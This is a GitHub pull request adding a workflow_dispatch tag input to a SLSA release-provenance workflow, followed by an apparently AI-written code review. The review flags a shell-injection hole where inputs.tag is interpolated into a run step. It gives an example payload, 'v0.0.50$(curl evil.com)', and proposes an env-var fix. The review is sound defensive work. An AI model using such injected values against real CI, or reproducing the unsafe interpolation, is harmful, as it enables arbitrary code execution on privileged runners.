ci(slsa): dispatchable release-provenance + upload-tag-name#706
Conversation
Adds workflow_dispatch(tag) and passes upload-tag-name to the SLSA generator so the attestation uploads to the right release regardless of github.ref. This lets the flow be verified by dispatching against an existing tag (e.g. v0.0.50) from main — without blind-firing a real release, and sidestepping the tag-commit-binding that made earlier fixes untestable. Also pins the build to the tag's code (checkout ref) so the tarballs match what shipped. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
Claude finished @blove's task in 1m 37s —— View job Review complete
Overall: The approach is correct —
Fix: bind user input to an env var, read it from the env in the shell. See inline comment for a ready-to-apply suggestion. Fix this → Everything else looks good:
|
| steps: | ||
| - name: Resolve target tag | ||
| id: tag | ||
| run: echo "tag=${{ github.event.release.tag_name || inputs.tag }}" >> "$GITHUB_OUTPUT" |
There was a problem hiding this comment.
Script injection vulnerability. inputs.tag is user-controlled and is interpolated directly into the shell command via ${{ }}. Anyone with write access who dispatches this workflow with a crafted tag value (e.g. v0.0.50$(curl evil.com)) can execute arbitrary shell commands in the runner — especially problematic given the contents: write permission that follows.
The SLSA hardening guides specifically call this pattern out. Fix by binding user input to an env var and reading it from there:
| run: echo "tag=${{ github.event.release.tag_name || inputs.tag }}" >> "$GITHUB_OUTPUT" | |
| env: | |
| RELEASE_TAG: ${{ github.event.release.tag_name }} | |
| INPUT_TAG: ${{ inputs.tag }} | |
| run: echo "tag=${RELEASE_TAG:-$INPUT_TAG}" >> "$GITHUB_OUTPUT" |
Same issue applies to line 67 where steps.tag.outputs.tag is interpolated into gh release upload "..." — since that output was set from the tainted input, prefer passing it via env var there too:
env:
GH_TOKEN: ${{ github.token }}
TARGET_TAG: ${{ steps.tag.outputs.tag }}
run: gh release upload "$TARGET_TAG" --clobber -- release-artifacts/*.tgz
Summary
Makes the SLSA release-provenance flow actually verifiable (Approach 2 — go beyond dawn to score OSSF Signed-Releases).
workflow_dispatchwith ataginput.upload-tag-nameto the SLSA generator so the*.intoto.jsonluploads to the named release even whengithub.refis a branch (dispatch) — also sidesteps the "release events run the workflow from the tag commit" trap that made the prior fix untestable.checkout ref) so tarballs match what shipped.After merge: dispatch against
v0.0.50to confirm both jobs succeed and the release gets tarballs + provenance, then it's proven for v0.0.51+.Test Plan
gh workflow run release-provenance.yml --ref main -f tag=v0.0.50→ build-artifacts + provenance both succeed*.tgz+*.intoto.jsonl; next Scorecard run scores Signed-Releases🤖 Generated with Claude Code